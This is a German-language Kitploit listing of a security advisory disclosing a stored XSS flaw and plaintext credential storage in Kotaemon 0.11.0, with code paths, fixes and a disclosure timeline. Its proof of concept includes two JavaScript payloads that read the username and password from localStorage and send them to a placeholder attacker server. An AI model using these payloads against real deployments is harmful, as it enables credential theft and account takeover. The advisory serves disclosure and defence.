Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Öffentliche Offenlegung für CVE-2025-56526 und CVE-2025-56527 — Stored XSS durch nicht bereinigtes Rendern von PDF-Inhalten und Offenlegung von Klartext-Anmeldedaten in Kotaemon 0.11.0. Enthält vollständige technische Analyse, PoC, Auswirkungsbewertung und Zeitplan für verantwortungsvolle Offenlegung. | Kitploit
Tools/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Phishing-ToolsSchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationWebsicherheitPapers & ForschungLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Öffentliche Offenlegung für CVE-2025-56526 und CVE-2025-56527 — Stored XSS durch nicht bereinigtes Rendern von PDF-Inhalten und Offenlegung von Klartext-Anmeldedaten in Kotaemon 0.11.0. Enthält vollständige technische Analyse, PoC, Auswirkungsbewertung und Zeitplan für verantwortungsvolle Offenlegung.

GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Repository anzeigen
14vor 9 MonatenNoch nicht geprüft
Teilen

Kotaemon CVE-2025-56526 & CVE-2025-56527 Öffentliche Offenlegung

Stored Cross-Site Scripting im Kotaemon-Informationspanel kombiniert mit der Speicherung von Klartext-Anmeldeinformationen in localStorage und ermöglicht so eine vollständige Sitzungsübernahme durch einen einzigen bösartigen PDF-Upload.

Zusammenfassung

  • Betroffenes Produkt / Versionen: Kotaemon <= 0.11.0 (einschließlich Commit 37cdc28)
  • Sicherheitslücken:
    • CVE-2025-56526 – Stored XSS durch unbereinigte PDF-Inhaltsdarstellung
    • CVE-2025-56527 – Klartext-Speicherung von Benutzername/Passwort in localStorage
  • Erforderliche Berechtigungen: Authentifizierter Benutzer mit Berechtigungen zum Hochladen von Dokumenten
  • Auswirkungen: Diebstahl von Anmeldeinformationen, dauerhafte Sitzungsübernahme, UI-Verunstaltung von LLM-Ausgaben, nachgelagerte Kompromittierung des Benutzervertrauens

CVE-Übersicht

CVE-IDSchwachstelleCWEHauptauswirkung
CVE-2025-56526Stored XSS via PDF-basiertem HTMLCWE-79Ausführung beliebigen JavaScripts, Datensammlung
CVE-2025-56527Klartext-Speicherung von AnmeldeinformationenCWE-922Offenlegung von Anmeldeinformationen, Sitzungsübernahme

Technische Analyse

1. Unbereinigte PDF-Inhaltsdarstellung (Stored XSS)

PDF-Extraktionsergebnisse (Text, Tabellenmarkup, Bildmetadaten) werden ohne Escaping in das DOM injiziert. Ein bösartiges PDF kann daher beliebiges HTML/JS transportieren, das immer dann ausgeführt wird, wenn das Informationspanel oder die Reasoning-Ansichten retrieved_content rendern.

Betroffene Codepfade sind:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (table / image rendering)
  • libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Klartext-Speicherung von Anmeldeinformationen in localStorage

libs/ktem/ktem/pages/login.py zusammen mit libs/ktem/ktem/assets/js/main.js speichert und ruft rohe Anmeldeinformationen direkt aus localStorage ab:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Jedes JavaScript, das über den XSS-Vektor ausgeführt wird, kann diese Werte sofort auslesen, was zu zuverlässigem Diebstahl von Anmeldeinformationen und langlebiger Kontokompromittierung führt.

Proof of Concept

  1. Betten Sie das folgende Payload in ein PDF ein (zum Beispiel in ein Bild-alt-Attribut oder Textobjekt):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Laden Sie das PDF hoch und öffnen Sie es im Kotaemon-Informationspanel. Das eingebettete Skript wird im Anwendungsursprung ausgeführt und extrahiert Anmeldeinformationen.
  2. Ein verbessertes Payload stiehlt zusätzlich den Browsing-Kontext, um die Zielausrichtung zu unterstützen:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Auswirkungen

  • Stored XSS: Beliebiges JavaScript wird ausgeführt, sobald das bösartige PDF angezeigt wird.
  • Diebstahl von Anmeldeinformationen: Klartext-Benutzername/Passwort-Paare werden jedem injizierten Skript ausgesetzt.
  • Dauerhafte Sitzungsübernahme: Angreifer können Anmeldeinformationen wiederverwenden, um Benutzer zu imitieren, auf Projekte zuzugreifen oder LLM-Ausgaben zu vergiften.
  • Verlust der LLM-Ausgabeintegrität: Benutzer können dem Informationspanel oder den Reasoning-Ergebnissen nicht mehr vertrauen, was ausgefeilte Social-Engineering-Ketten ermöglicht.

Erweiterte Bedrohungsanalyse

Kotaemon wird häufig in lokalen oder Unternehmensumgebungen eingesetzt, in denen Benutzer vertrauliche interne Dokumente hochladen. Da PDF-basierte Inhalte ohne Bereinigung in das DOM eingefügt werden, kann ein Angreifer ein bösartiges Payload in einem normal aussehenden Geschäftsdokument verstecken.

Wenn das Opfer dieses Dokument hochlädt und anzeigt, wird das versteckte JavaScript automatisch ausgeführt, stiehlt Anmeldeinformationen aus localStorage und legt private Chatprotokolle und Dokumentinhalte offen.

Obwohl der Auslöser benutzerinitiiert erscheint, handelt es sich nicht um Self-XSS. Die Ursache ist ein serverseitiges Versäumnis, aus hochgeladenen Dateien extrahiertes HTML zu bereinigen, was Stored XSS innerhalb vertrauenswürdiger UI-Komponenten ermöglicht.

Infolgedessen kann ein einziges bösartiges PDF in realistischen Social-Engineering-Szenarien zur vollständigen Kontokompromittierung führen.

Empfehlungen

  1. Escapen oder bereinigen Sie alle PDF-basierten Inhalte vor dem Rendern (z. B. html.escape, DOMPurify oder Trusted Types für DOM-Sinks).
  2. Erzwingen Sie eine Markdown/HTML-Whitelist-Pipeline, sodass nur genehmigte Tags/Attribute den Browser erreichen.
  3. Verbieten Sie die clientseitige Speicherung von rohen Anmeldeinformationen; verwenden Sie stattdessen HTTP-only sichere Cookies oder kurzlebige Sitzungstokens.
  4. Setzen Sie CSP (script-src 'self') und Trusted Types ein, um die DOM-XSS-Angriffsfläche zu verkleinern.
  5. Fügen Sie Regressionstests für PDF-Erfassungspfade hinzu und definieren Sie eine Richtlinie zur LLM-Ausgabeverarbeitung, die abgerufene Inhalte als nicht vertrauenswürdig behandelt.

Nachweise (screenshots/)

  • Bösartiges PDF, gerendert im Informationspanel
  • HTML-Payload, injiziert über extrahierten Inhalt
  • Entwicklertools, die unbereinigte DOM-Knoten zeigen
  • Klartext-Anmeldeinformationen, gespeichert in localStorage
  • Netzwerk-Exfiltrationsanfrage, die vom Payload gesendet wird
  • Angreiferserver, der base64-kodierte Anmeldeinformationen empfängt
  • Verbessertes Payload, das URL/Origin/UA-Metadaten sammelt
  • Resultierende angreifergesteuerte Sitzung/Benutzeroberfläche

Offenlegungserklärung

Diese öffentliche Beratung folgt den branchenüblichen Praktiken der verantwortungsvollen Offenlegung:

  • Dem Hersteller wurden mehr als 90 Tage Zeit gegeben, um zu reagieren und Patches bereitzustellen.
  • Es wurden mehrere Nachfassversuche unternommen, ohne dass ein Lösungs- oder Abhilfeplan vorgelegt wurde.
  • Die CVE-Identifikatoren (CVE-2025-56526, CVE-2025-56527) wurden offiziell von MITRE vergeben.
  • Eine letzte Mitteilung wurde 30 Tage vor der öffentlichen Offenlegung gesendet.
  • Die öffentliche Offenlegung erfolgt nun, um Endbenutzer zu schützen und die Exposition gegenüber ungepatchten Risiken zu verringern.

Empfehlungen für Benutzer

Benutzer von Kotaemon (<= 0.11.0) sollten Folgendes in Betracht ziehen, bis ein Sicherheitsfix verfügbar ist:

  • Überwachen Sie das offizielle Repository auf kommende Sicherheitspatches.
  • Vermeiden Sie die Verarbeitung nicht vertrauenswürdiger Dokumente.

Offenlegungszeitplan

  • 2025-07-14: Erster Schwachstellenbericht an das Kotaemon-Team übermittelt.
  • 2025-08-12: Erste Nachfassaktion; Hersteller war beschäftigt und forderte eine Frist.
  • 2025-09-12: Zweite Nachfassaktion mit detailliertem Bericht und PoC.
  • 2025-09-13: Letzte Nachfassaktion; keine weitere Antwort.
  • 2025-10-14: Letzte Mitteilung mit der Absicht zur öffentlichen Offenlegung gesendet.
  • 2025-11-14: Öffentliche Offenlegung von CVE-2025-56526 und CVE-2025-56527.

Danksagungen & Kontakt

  • Dieser Bericht wurde von HanTul erstellt. (ehemals Team 404 Not Found 퇴근, WhiteHat School 3. Kohorte (WHS3), Südkorea).
  • Kontakt: [email protected]
  • GitHub: @HanTul
Tool herunterladen